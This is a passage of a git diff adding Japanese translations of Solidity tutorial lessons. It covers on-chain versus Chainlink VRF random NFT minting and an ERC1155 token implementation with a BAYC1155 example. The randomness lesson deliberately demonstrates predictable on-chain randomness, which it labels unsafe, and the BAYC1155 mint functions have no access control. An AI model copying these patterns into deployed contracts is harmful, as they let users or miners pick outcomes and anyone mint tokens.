チェーン上で疑似乱数を生成します。 + * keccak256()を使用していくつかのオンチェーングローバル変数/カスタム変数をパッキングします。 + * 返す際にuint256型に変換されます。 +*/ +function getRandomOnchain() public view returns(uint256){ + // Remixでblockhashを生成するとエラーになります。 + bytes32 randomBytes = keccak256(abi.encodePacked(block.timestamp, msg.sender, blockhash(block.number-1))); + + return uint256(randomBytes); +} +``` + +**注意**:この方法は安全ではありません: +- 第一に、`block.timestamp`、`msg.sender`、`blockhash(block.number-1)`などの変数はすべて公開されています。ユーザーはこれらのシードによって生成される乱数を予測し、望む出力を選択してスマートコントラクトを実行できます。 +- 第二に、マイナーは`blockhash`と`block.timestamp`を操作して、自分の利益に適した乱数を生成できます。 + +しかし、この方法は最も便利なオンチェーン乱数生成方法であり、多くのプロジェクト側がこれに依存して安全でない乱数を生成しています。`meebits`や`loots`などの有名なプロジェクトも含まれます。もちろん、これらのプロジェクトはすべて攻撃を受けました:攻撃者はランダムに抽選するのではなく、望む希少な`NFT`を偽造できます。 + +## オフチェーン乱数生成 + +オフチェーンで乱数を生成し、オラクルを通じてチェーンにアップロードできます。ChainlinkはVRF(Verifiable Random Function)サービスを提供しており、オンチェーン開発者はLINKトークンを支払って乱数を取得できます。Chainlink VRFには2つのバージョンがあります。第2バージョンは公式ウェブサイトでの登録と前払い手数料が必要で、使用方法は似ているため、ここでは第1バージョンVRF v1のみを紹介します。 + +### `Chainlink VRF`使用手順 + +![Chainlnk VRF](./img/39-1.png) + +簡単なコントラクトを使用してChainlink VRFの使用手順を紹介します。`RandomNumberConsumer`コントラクトはVRFから乱数をリクエストし、状態変数`randomResult`に保存できます。 + +**1. ユーザーコントラクトが`VRFConsumerBase`を継承し、`LINK`トークンを転送** + +VRFを使用して乱数を取得するには、コントラクトは`VRFConsumerBase`コントラクトを継承し、コンストラクタで`VRF Coordinator`アドレス、`LINK`トークンアドレス、一意の識別子`Key Hash`、使用料`fee`を初期化する必要があります。 + +**注意:** 異なるチェーンは異なるパラメータに対応します。詳細は[こちら](https://docs.chain.link/docs/vrf-contracts/v1/)を参照してください。 + +チュートリアルでは、`Rinkeby`テストネットを使用します。コントラクトをデプロイした後、ユーザーはいくつかの`LINK`トークンをコントラクトに転送する必要があります。テストネット`LINK`トークンは[LINKフォーセット](https://faucets.chain.link/)から取得できます。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; + +contract RandomNumberConsumer is VRFConsumerBase { + + bytes32 internal keyHash; // VRF一意識別子 + uint256 internal fee; // VRF使用料 + +uint256 public randomResult; // 乱数を保存 + + /** + * chainlink VRFを使用する際、コンストラクタはVRFConsumerBaseを継承する必要があります + * 異なるチェーンのパラメータは異なって記入されます。 + *ネットワーク: Rinkebyテストネット + * Chainlink VRF Coordinatorアドレス: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B + * LINKトークンアドレス: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 + * Key Hash: 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311 + */ + constructor() + VRFConsumerBase( + 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B, // VRF Coordinator + 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 // LINK Token + ) + { + keyHash = 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311; +fee = 0.1 * 10 ** 18; // 0.1 LINK(VRF使用料、Rinkebyテストネットワーク) + } +``` + +**2. ユーザーがコントラクトを通じて乱数をリクエスト** + +ユーザーは`VRFConsumerBase`コントラクトから継承された`requestRandomness()`を呼び出して乱数をリクエストし、リクエスト識別子`requestId`を受け取ることができます。このリクエストは`VRF`コントラクトに渡されます。 + +```solidity + /** + * VRFコントラクトから乱数をリクエスト + */ + function getRandomNumber() public returns (bytes32 requestId) { + // コントラクトに十分なLINKが必要 + require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet"); + + return requestRandomness(keyHash, fee); + } +``` + +3. `Chainlink`ノードがオフチェーンで乱数とデジタル署名を生成し、`VRF`コントラクトに送信します。 + +4. `VRF`コントラクトが署名の有効性を検証します。 + +5. ユーザーコントラクトが乱数を受信して使用します。 + +`VRF`コントラクトで署名の有効性を検証した後、ユーザーコントラクトのコールバック関数`fulfillRandomness()`が自動的に呼び出され、オフチェーンで生成された乱数が送信されます。乱数を消費するロジックはこの関数で実装する必要があります。 + +注意:ユーザーが乱数をリクエストするために呼び出す`requestRandomness()`関数と、`VRF`コントラクトが乱数を返す際に呼び出されるコールバック関数`fulfillRandomness()`は2つの別々のトランザクションで、ユーザーコントラクトと`VRF`コントラクトがそれぞれ呼び出し元となります。後者は前者より数分遅れます(チェーンごとに遅延が異なります)。 + +```solidity + /** +* VRFコントラクトのコールバック関数で、乱数が有効であることを検証した後に自動的に呼び出されます。 + * 乱数を消費するロジックはここに書きます + */ + function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { + randomResult = randomness; + } +``` + +## `tokenId`ランダムミント`NFT` + +このセクションでは、オンチェーンとオフチェーンの乱数を使用して`tokenId`ランダムミント`NFT`を作成します。`Random`コントラクトは`ERC721`と`VRFConsumerBase`コントラクトの両方を継承しています。 + +```Solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; + +import "https://github.com/AmazingAng/WTF-Solidity/blob/main/34_ERC721/ERC721.sol"; +import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; + +contract Random is ERC721, VRFConsumerBase{ +``` + +### 状態変数 + +- `NFT`関連 + - `totalSupply`:`NFT`の総供給量。 + - `ids`:`ミント`可能な`tokenId`を計算するために使用される配列、`pickRandomUniqueId()`関数を参照。 + - `mintCount`:`ミント`された`NFT`の数。 +- `Chainlink VRF`関連 + - `keyHash`:`VRF`の一意識別子。 + - `fee`:`VRF`手数料。 + - `requestToSender`:ミントのために`VRF`を申請したユーザーアドレスを記録。 + +```solidity + // NFT関連 + uint256 public totalSupply = 100; // 総供給量 + uint256[100] public ids; // ミント可能なtokenIdを計算するために使用 + uint256 public mintCount; // ミントされたトークン数 + // Chainlink VRF関連 + bytes32 internal keyHash; // Chainlink VRFのキーハッシュ + uint256 internal fee; // Chainlink VRFの手数料 + // VRFリクエスト識別子に対応するミントアドレスを記録 + mapping(bytes32 => address) public requestToSender; +``` + +### コンストラクタ + +継承された`VRFConsumerBase`と`ERC721`コントラクトの関連変数を初期化します。 + +``` +/** + * Chainlink VRFを使用するため、コンストラクタはVRFConsumerBaseを継承する必要があります + * 異なるチェーンのパラメータは異なって記入されます + * ネットワーク: Rinkebyテストネット + * Chainlink VRF Coordinatorアドレス: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B + * LINKトークンアドレス: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 + * Key Hash: 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311 +**/ +constructor() + VRFConsumerBase( + 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B, // VRF Coordinator + 0x01BE23585060835E02B77ef475b0Cc51aA1e0709 // LINK Token + ) + ERC721("WTF Random", "WTF") +{ + keyHash = 0x2ed0feb3e7fd2022120aa84fab1945545a9f2ffc9076fd6156fa96eaff4c1311; + fee = 0.1 * 10 ** 18; // 0.1 LINK(VRF使用料、Rinkebyテストネットワーク) +} +``` + +### その他の関数 + +コンストラクタ関数に加えて、コントラクトは他に5つの関数を定義しています: + +- `pickRandomUniqueId()`:乱数を受け取り、ミントに使用できる`tokenId`を返します。 + +- `getRandomOnchain()`:オンチェーン乱数を返します(安全ではない)。 + +- `mintRandomOnchain()`:オンチェーン乱数を使用してNFTをミントし、`getRandomOnchain()`と`pickRandomUniqueId()`を呼び出します。 + +- `mintRandomVRF()`:`Chainlink VRF`から乱数をリクエストしてNFTをミントします。乱数を使用したミントのロジックはコールバック関数`fulfillRandomness()`にあり、これは`VRF`コントラクトによって呼び出されるため、NFTをミントするユーザーではないため、ここの関数は`requestToSender`状態変数を使用して`VRF`リクエスト識別子に対応するユーザーアドレスを記録する必要があります。 + +- `fulfillRandomness()`:`VRF`のコールバック関数で、乱数の真正性を検証した後に`VRF`コントラクトによって自動的に呼び出されます。返されたオフチェーン乱数を使用してNFTをミントします。 + +```solidity + /** + * uint256数値を入力し、ミント可能なtokenIdを返します + * アルゴリズムプロセスは次のように理解できます:totalSupply個の空のカップ(0で初期化されたids)が一列に並んでおり、各カップの隣にボールが置かれ、[0, totalSupply - 1]で番号が付けられています。 + フィールドからボールをランダムに取る度に(ボールはカップの隣にある可能性があり、これは初期状態;カップの中にある可能性もあり、カップの隣のボールが取られたことを示し、この時はカップに最後から新しいボールを入れる) + そして最後のボール(まだカップの中またはカップの隣にある可能性がある)を取り出されたボールのカップに入れ、totalSupply回ループします。従来のランダム配列と比較して、ids[]の初期化のgasが省略されます。 + */ + function pickRandomUniqueId( + uint256 random + ) private returns (uint256 tokenId) { + // 最初に減算を計算してから++を計算し、(a++, ++a)の違いに注意 + uint256 len = totalSupply - mintCount++; // ミント数量 + require(len > 0, "mint close"); // すべてのtokenIdがミント完了 + uint256 randomIndex = random % len; // チェーン上の乱数を取得 + + // 乱数を剰余してtokenIdを配列の添字として取得し、同時にlen-1として値を記録。剰余で取得した値が既に存在する場合、tokenIdは配列添字の値を取る + tokenId = ids[randomIndex] != 0 ? ids[randomIndex] : randomIndex; // tokenIdを取得 + ids[randomIndex] = ids[len - 1] == 0 ? len - 1 : ids[len - 1]; // idsリストを更新 + ids[len - 1] = 0; // 最後の要素を削除、gasを返還可能 + } + + /** + * チェーン上疑似乱数生成 + * keccak256(abi.encodePacked() チェーン上のいくつかのグローバル変数/カスタム変数を記入 + * 返す際にuint256型に変換 + */ + function getRandomOnchain() public view returns (uint256) { + /* + * この場合、チェーン上のランダム性はブロックハッシュ、呼び出し元アドレス、ブロック時間にのみ依存します、 + * ランダム性を向上させたい場合、nonce等の属性を追加できますが、セキュリティ問題を根本的に解決することはできません + */ + bytes32 randomBytes = keccak256( + abi.encodePacked( + blockhash(block.number - 1), + msg.sender, + block.timestamp + ) + ); + return uint256(randomBytes); + } + + // チェーン上の疑似乱数を使用してNFTをキャスト + function mintRandomOnchain() public { + uint256 _tokenId = pickRandomUniqueId(getRandomOnchain()); // チェーン上の乱数を使用してtokenIdを生成 + _mint(msg.sender, _tokenId); + } + + /** + * VRFを呼び出して乱数を取得しNFTをミント + * requestRandomness()関数を呼び出して取得し、乱数を消費するロジックはVRFコールバック関数fulfillRandomness()に書かれています + * 呼び出し前にこのコントラクトにLINKトークンを転送してください + */ + function mintRandomVRF() public returns (bytes32 requestId) { + // コントラクト内のLINK残高をチェック + require( + LINK.balanceOf(address(this)) >= fee, + "Not enough LINK - fill contract with faucet" + ); + // requestRandomnessを呼び出して乱数を取得 + requestId = requestRandomness(keyHash, fee); + requestToSender[requestId] = msg.sender; + return requestId; + } + + /** + * VRFコールバック関数、VRF Coordinatorによって呼び出される + * 乱数を消費するロジックはこの関数に書かれています + */ + function fulfillRandomness( + bytes32 requestId, + uint256 randomness + ) internal override { + address sender = requestToSender[requestId]; // requestToSenderからミンターユーザーアドレスを取得 + uint256 _tokenId = pickRandomUniqueId(randomness); // VRFが返した乱数を使用してtokenIdを生成 + _mint(sender, _tokenId); + } +``` + +## `remix`検証 + +### 1. `Rinkeby`テストネットで`Random`コントラクトをデプロイ + +![コントラクトのデプロイ](./img/39-2.png) + +### 2. `Chainlink`フォーセットを使用して`Rinkeby`テストネットで`LINK`と`ETH`を取得 + +![RinkebyテストネットでLINKとETHを取得](./img/39-3.png) + +### 3. `LINK`トークンを`Random`コントラクトに転送 + +コントラクトがデプロイされた後、コントラクトアドレスをコピーし、通常の転送と同じように`LINK`をコントラクトアドレスに転送します。 + +![LINKトークンの転送](./img/39-4.png) + +### 4. オンチェーン乱数を使用してNFTをミント + +`remix`インターフェースで、左側のオレンジ色の関数`mintRandomOnchain`をクリック![mintOnchain](./img/39-5-1.png)し、ポップアップの`Metamask`で確認をクリックして、オンチェーン乱数を使用したミントトランザクションを開始します。 + +![オンチェーン乱数を使用してNFTをミント](./img/39-5.png) + +### 5. `Chainlink VRF`オフチェーン乱数を使用してNFTをミント + +同様に、`remix`インターフェースで左側のオレンジ色の関数`mintRandomVRF`をクリックし、ポップアップの小さな狐ウォレットで確認をクリックします。`Chainlink VRF`オフチェーン乱数を使用してNFTをミントするトランザクションが開始されました。 + +注意:`VRF`を使用して`NFT`をミントする際、トランザクションの開始とミントの成功は同じブロックではありません。 + +![VRFミントのトランザクション開始](./img/39-6.png) +![VRFミントのトランザクション成功](./img/39-7.png) + +### 6. `NFT`がミントされたことを確認 + +上記のスクリーンショットから、この例では`tokenId=87`の`NFT`がオンチェーンでランダムにミントされ、`tokenId=77`の`NFT`が`VRF`を使用してミントされたことが分かります。 + +## 結論 + +`Solidity`で乱数を生成することは、他のプログラミング言語ほど簡単ではありません。このチュートリアルでは、オンチェーン(ハッシュ関数使用)とオフチェーン(`Chainlink`オラクル)の2つの乱数生成方法を紹介し、それらを使用してランダムに割り当てられた`tokenId`を持つ`NFT`を作成しました。両方の方法にはそれぞれ利点と欠点があります:オンチェーン乱数の使用は効率的ですが安全ではなく、オフチェーン乱数の生成はサードパーティのオラクルサービスに依存しますが、比較的安全で、それほど簡単で経済的ではありません。プロジェクトチームは具体的なビジネスニーズに応じて適切な方法を選択する必要があります。 + +これらの方法に加えて、他の組織もRNG(Random Number Generation)の新しい方法を試しています。例えば[randao](https://github.com/randao/randao)は、DAOパターンでオンチェーンで真のランダム性サービスを提供することを提案しています。 \ No newline at end of file diff --git a/Languages/ja/40_ERC1155_ja/BAYC1155.sol b/Languages/ja/40_ERC1155_ja/BAYC1155.sol new file mode 100644 index 000000000..057b2a016 --- /dev/null +++ b/Languages/ja/40_ERC1155_ja/BAYC1155.sol @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +// by 0xAA +pragma solidity ^0.8.21; + +import "./ERC1155.sol"; + +contract BAYC1155 is ERC1155{ + uint256 constant MAX_ID = 10000; + // コンストラクタ + constructor() ERC1155("BAYC1155", "BAYC1155"){ + } + + //BAYCのbaseURIは ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ + function _baseURI() internal pure override returns (string memory) { + return "ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/"; + } + + // ミント関数 + function mint(address to, uint256 id, uint256 amount) external { + // id は 10,000 を超えることはできない + require(id < MAX_ID, "id overflow"); + _mint(to, id, amount, ""); + } + + // バッチミント関数 + function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts) external { + // id は 10,000 を超えることはできない + for (uint256 i = 0; i < ids.length; i++) { + require(ids[i] < MAX_ID, "id overflow"); + } + _mintBatch(to, ids, amounts, ""); + } + +} \ No newline at end of file diff --git a/Languages/ja/40_ERC1155_ja/ERC1155.sol b/Languages/ja/40_ERC1155_ja/ERC1155.sol new file mode 100644 index 000000000..ebea1f501 --- /dev/null +++ b/Languages/ja/40_ERC1155_ja/ERC1155.sol @@ -0,0 +1,331 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./IERC1155.sol"; +import "./IERC1155Receiver.sol"; +import "./IERC1155MetadataURI.sol"; +import "../34_ERC721/String.sol"; +import "../34_ERC721/IERC165.sol"; + +/** + * @dev ERC1155マルチトークン標準 + * 詳細 https://eips.ethereum.org/EIPS/eip-1155 + */ +contract ERC1155 is IERC165, IERC1155, IERC1155MetadataURI { + + using Strings for uint256; // Stringライブラリを使用 + // トークン名 + string public name; + // トークンシンボル + string public symbol; + // トークン種類id から アカウントaccount から 残高balances へのマッピング + mapping(uint256 => mapping(address => uint256)) private _balances; + // 発起方アドレス から 承認アドレスoperator から 承認状況bool へのバッチ承認マッピング + mapping(address => mapping(address => bool)) private _operatorApprovals; + + /** + * コンストラクタ、`name` と `symbol`を初期化 + */ + constructor(string memory name_, string memory symbol_) { + name = name_; + symbol = symbol_; + } + + /** + * @dev {IERC165-supportsInterface}を参照 + */ + function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { + return + interfaceId == type(IERC1155).interfaceId || + interfaceId == type(IERC1155MetadataURI).interfaceId || + interfaceId == type(IERC165).interfaceId; + } + + /** + * @dev 残高照会 IERC1155のbalanceOfを実装、accountアドレスのid種類トークン残高を返す + */ + function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { + require(account != address(0), "ERC1155: address zero is not a valid owner"); + return _balances[id][account]; + } + + /** + * @dev バッチ残高照会 + * 要件: + * - `accounts` と `ids` 配列の長さが等しい + */ + function balanceOfBatch(address[] memory accounts, uint256[] memory ids) + public view virtual override + returns (uint256[] memory) + { + require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); + uint256[] memory batchBalances = new uint256[](accounts.length); + for (uint256 i = 0; i < accounts.length; ++i) { + batchBalances[i] = balanceOf(accounts[i], ids[i]); + } + return batchBalances; + } + + /** + * @dev バッチ承認、呼び出し元がoperatorにすべてのトークンの使用を承認 + * {ApprovalForAll}イベントを発行 + * 条件:msg.sender != operator + */ + function setApprovalForAll(address operator, bool approved) public virtual override { + require(msg.sender != operator, "ERC1155: setting approval status for self"); + _operatorApprovals[msg.sender][operator] = approved; + emit ApprovalForAll(msg.sender, operator, approved); + } + + /** + * @dev バッチ承認照会 + */ + function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { + return _operatorApprovals[account][operator]; + } + + /** + * @dev 安全転送、`amount`単位の`id`種類トークンを`from`から`to`に転送 + * {TransferSingle}イベントを発行 + * 要件: + * - to はゼロアドレスではない + * - from は十分な残高を持ち、呼び出し元は承認を持つ + * - to がスマートコントラクトの場合、IERC1155Receiver-onERC1155Receivedをサポートする必要がある + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) public virtual override { + address operator = msg.sender; + // 呼び出し元は所有者または承認されている + require( + from == operator || isApprovedForAll(from, operator), + "ERC1155: caller is not token owner nor approved" + ); + require(to != address(0), "ERC1155: transfer to the zero address"); + // fromアドレスは十分な残高を持つ + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); + // 残高を更新 + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + // イベントを発行 + emit TransferSingle(operator, from, to, id, amount); + // 安全チェック + _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); + } + + /** + * @dev バッチ安全転送、`amounts`配列単位の`ids`配列種類トークンを`from`から`to`に転送 + * {TransferBatch}イベントを発行 + * 要件: + * - to はゼロアドレスではない + * - from は十分な残高を持ち、呼び出し元は承認を持つ + * - to がスマートコントラクトの場合、IERC1155Receiver-onERC1155BatchReceivedをサポートする必要がある + * - ids と amounts 配列の長さが等しい + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) public virtual override { + address operator = msg.sender; + // 呼び出し元は所有者または承認されている + require( + from == operator || isApprovedForAll(from, operator), + "ERC1155: caller is not token owner nor approved" + ); + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + require(to != address(0), "ERC1155: transfer to the zero address"); + + // forループで残高を更新 + for (uint256 i = 0; i < ids.length; ++i) { + uint256 id = ids[i]; + uint256 amount = amounts[i]; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + _balances[id][to] += amount; + } + + emit TransferBatch(operator, from, to, ids, amounts); + // 安全チェック + _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); + } + + /** + * @dev ミント + * {TransferSingle}イベントを発行 + */ + function _mint( + address to, + uint256 id, + uint256 amount, + bytes memory data + ) internal virtual { + require(to != address(0), "ERC1155: mint to the zero address"); + + address operator = msg.sender; + + _balances[id][to] += amount; + emit TransferSingle(operator, address(0), to, id, amount); + + _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); + } + + /** + * @dev バッチミント + * {TransferBatch}イベントを発行 + */ + function _mintBatch( + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) internal virtual { + require(to != address(0), "ERC1155: mint to the zero address"); + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + + address operator = msg.sender; + + for (uint256 i = 0; i < ids.length; i++) { + _balances[ids[i]][to] += amounts[i]; + } + + emit TransferBatch(operator, address(0), to, ids, amounts); + + _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); + } + + /** + * @dev バーン + */ + function _burn( + address from, + uint256 id, + uint256 amount + ) internal virtual { + require(from != address(0), "ERC1155: burn from the zero address"); + + address operator = msg.sender; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + + emit TransferSingle(operator, from, address(0), id, amount); + } + + /** + * @dev バッチバーン + */ + function _burnBatch( + address from, + uint256[] memory ids, + uint256[] memory amounts + ) internal virtual { + require(from != address(0), "ERC1155: burn from the zero address"); + require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); + + address operator = msg.sender; + + for (uint256 i = 0; i < ids.length; i++) { + uint256 id = ids[i]; + uint256 amount = amounts[i]; + + uint256 fromBalance = _balances[id][from]; + require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); + unchecked { + _balances[id][from] = fromBalance - amount; + } + } + + emit TransferBatch(operator, from, address(0), ids, amounts); + } + + // エラー 無効な受信者 + error ERC1155InvalidReceiver(address receiver); + + // @dev ERC1155の安全転送チェック + function _doSafeTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256 id, + uint256 amount, + bytes memory data + ) private { + if (to.code.length > 0) { + try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { + if (response != IERC1155Receiver.onERC1155Received.selector) { + revert ERC1155InvalidReceiver(to); + } + } catch (bytes memory reason) { + if (reason.length == 0) { + revert ERC1155InvalidReceiver(to); + } else { + /// @solidity memory-safe-assembly + assembly { + revert(add(32, reason), mload(reason)) + } + } + } + } + } + + // @dev ERC1155のバッチ安全転送チェック + function _doSafeBatchTransferAcceptanceCheck( + address operator, + address from, + address to, + uint256[] memory ids, + uint256[] memory amounts, + bytes memory data + ) private { + if (to.code.length > 0) { + try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( + bytes4 response + ) { + if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { + revert ERC1155InvalidReceiver(to); + } + } catch (bytes memory reason) { + if (reason.length == 0) { + revert ERC1155InvalidReceiver(to); + } else { + /// @solidity memory-safe-assembly + assembly { + revert(add(32, reason), mload(reason)) + } + } + } + } + } + + /** + * @dev ERC1155のid種類トークンのuriを返し、metadataを格納、ERC721のtokenURIに似ている + */ + function uri(uint256 id) public view virtual override returns (string memory) { + string memory baseURI = _baseURI(); + return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, id.toString())) : ""; + } + + /** + * {uri}のBaseURIを計算、uriはbaseURIとtokenIdを連結したもので、開発者が再実装する必要がある + */ + function _baseURI() internal view virtual returns (string memory) { + return ""; + } +} \ No newline at end of file diff --git a/Languages/ja/40_ERC1155_ja/IERC1155.sol b/Languages/ja/40_ERC1155_ja/IERC1155.sol new file mode 100644 index 000000000..6513658eb --- /dev/null +++ b/Languages/ja/40_ERC1155_ja/IERC1155.sol @@ -0,0 +1,95 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "../34_ERC721/IERC165.sol"; + +/** + * @dev ERC1155標準のインターフェースコントラクト、EIP1155の機能を実装 + * 詳細:https://eips.ethereum.org/EIPS/eip-1155[EIP]. + */ +interface IERC1155 is IERC165 { + /** + * @dev 単一種類トークン転送イベント + * `value`個の`id`種類のトークンが`operator`によって`from`から`to`に転送されたときに発行 + */ + event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); + + /** + * @dev マルチ種類トークン転送イベント + * idsとvaluesは転送されるトークン種類と数量の配列 + */ + event TransferBatch( + address indexed operator, + address indexed from, + address indexed to, + uint256[] ids, + uint256[] values + ); + + /** + * @dev バッチ承認イベント + * `account`がすべてのトークンを`operator`に承認したときに発行 + */ + event ApprovalForAll(address indexed account, address indexed operator, bool approved); + + /** + * @dev `id`種類のトークンのURIが変更されたときに発行、`value`は新しいURI + */ + event URI(string value, uint256 indexed id); + + /** + * @dev 残高照会、`account`が所有する`id`種類のトークンの残高を返す + */ + function balanceOf(address account, uint256 id) external view returns (uint256); + + /** + * @dev バッチ残高照会、`accounts`と`ids`配列の長さは等しくなければならない + */ + function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) + external + view + returns (uint256[] memory); + + /** + * @dev バッチ承認、呼び出し元のトークンを`operator`アドレスに承認 + * {ApprovalForAll}イベントを発行 + */ + function setApprovalForAll(address operator, bool approved) external; + + /** + * @dev バッチ承認照会、承認アドレス`operator`が`account`によって承認されている場合`true`を返す + * {setApprovalForAll}関数を参照 + */ + function isApprovedForAll(address account, address operator) external view returns (bool); + + /** + * @dev 安全転送、`amount`単位の`id`種類のトークンを`from`から`to`に転送 + * {TransferSingle}イベントを発行 + * 要件: + * - 呼び出し元が`from`アドレスでない場合、`from`の承認が必要 + * - `from`アドレスは十分な残高を持つ必要がある + * - 受信者がコントラクトの場合、`IERC1155Receiver`の`onERC1155Received`メソッドを実装し、対応する値を返す必要がある + */ + function safeTransferFrom( + address from, + address to, + uint256 id, + uint256 amount, + bytes calldata data + ) external; + + /** + * @dev バッチ安全転送 + * {TransferBatch}イベントを発行 + * 要件: + * - `ids`と`amounts`の長さが等しい + * - 受信者がコントラクトの場合、`IERC1155Receiver`の`onERC1155BatchReceived`メソッドを実装し、対応する値を返す必要がある + */ + function safeBatchTransferFrom( + address from, + address to, + uint256[] calldata ids, + uint256[] calldata amounts, + bytes calldata data + ) external; +} \ No newline at end of file diff --git a/Languages/ja/40_ERC1155_ja/IERC1155MetadataURI.sol b/Languages/ja/40_ERC1155_ja/IERC1155MetadataURI.sol new file mode 100644 index 000000000..af797fe21 --- /dev/null +++ b/Languages/ja/40_ERC1155_ja/IERC1155MetadataURI.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./IERC1155.sol"; + +/** + * @dev ERC1155のオプションインターフェース、uri()関数でメタデータを照会 + */ +interface IERC1155MetadataURI is IERC1155 { + /** + * @dev 第`id`種類トークンのURIを返す + */ + function uri(uint256 id) external view returns (string memory); +} \ No newline at end of file diff --git a/Languages/ja/40_ERC1155_ja/IERC1155Receiver.sol b/Languages/ja/40_ERC1155_ja/IERC1155Receiver.sol new file mode 100644 index 000000000..c830eeaef --- /dev/null +++ b/Languages/ja/40_ERC1155_ja/IERC1155Receiver.sol @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "../34_ERC721/IERC165.sol"; + +/** + * @dev ERC1155受信コントラクト、ERC1155の安全転送を受け入れるためにはこのコントラクトを実装する必要がある + */ +interface IERC1155Receiver is IERC165 { + /** + * @dev ERC1155安全転送`safeTransferFrom`を受け入れる + * 0xf23a6e61 または `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`を返す必要がある + */ + function onERC1155Received( + address operator, + address from, + uint256 id, + uint256 value, + bytes calldata data + ) external returns (bytes4); + + /** + * @dev ERC1155バッチ安全転送`safeBatchTransferFrom`を受け入れる + * 0xbc197c81 または `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`を返す必要がある + */ + function onERC1155BatchReceived( + address operator, + address from, + uint256[] calldata ids, + uint256[] calldata values, + bytes calldata data + ) external returns (bytes4); +} \ No newline at end of file diff --git a/Languages/ja/40_ERC1155_ja/img/40-1.jpg b/Languages/ja/40_ERC1155_ja/img/40-1.jpg new file mode 100644 index 000000000..f140ed3d1 Binary files /dev/null and b/Languages/ja/40_ERC1155_ja/img/40-1.jpg differ diff --git a/Languages/ja/40_ERC1155_ja/img/40-2.jpg b/Languages/ja/40_ERC1155_ja/img/40-2.jpg new file mode 100644 index 000000000..12d59d37d Binary files /dev/null and b/Languages/ja/40_ERC1155_ja/img/40-2.jpg differ diff --git a/Languages/ja/40_ERC1155_ja/img/40-3.jpg b/Languages/ja/40_ERC1155_ja/img/40-3.jpg new file mode 100644 index 000000000..1a9f614e5 Binary files /dev/null and b/Languages/ja/40_ERC1155_ja/img/40-3.jpg differ diff --git a/Languages/ja/40_ERC1155_ja/img/40-4.jpg b/Languages/ja/40_ERC1155_ja/img/40-4.jpg new file mode 100644 index 000000000..9411823ab Binary files /dev/null and b/Languages/ja/40_ERC1155_ja/img/40-4.jpg differ diff --git a/Languages/ja/40_ERC1155_ja/img/40-5.jpg b/Languages/ja/40_ERC1155_ja/img/40-5.jpg new file mode 100644 index 000000000..5c86ec659 Binary files /dev/null and b/Languages/ja/40_ERC1155_ja/img/40-5.jpg differ diff --git a/Languages/ja/40_ERC1155_ja/img/40-6.jpg b/Languages/ja/40_ERC1155_ja/img/40-6.jpg new file mode 100644 index 000000000..a1a4e2c1b Binary files /dev/null and b/Languages/ja/40_ERC1155_ja/img/40-6.jpg differ diff --git a/Languages/ja/40_ERC1155_ja/img/40-7.jpg b/Languages/ja/40_ERC1155_ja/img/40-7.jpg new file mode 100644 index 000000000..7d1d6dab2 Binary files /dev/null and 